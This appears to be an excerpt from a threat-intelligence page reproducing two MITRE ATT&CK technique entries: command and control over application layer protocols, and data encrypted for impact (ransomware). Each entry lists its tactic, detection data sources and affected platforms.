Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre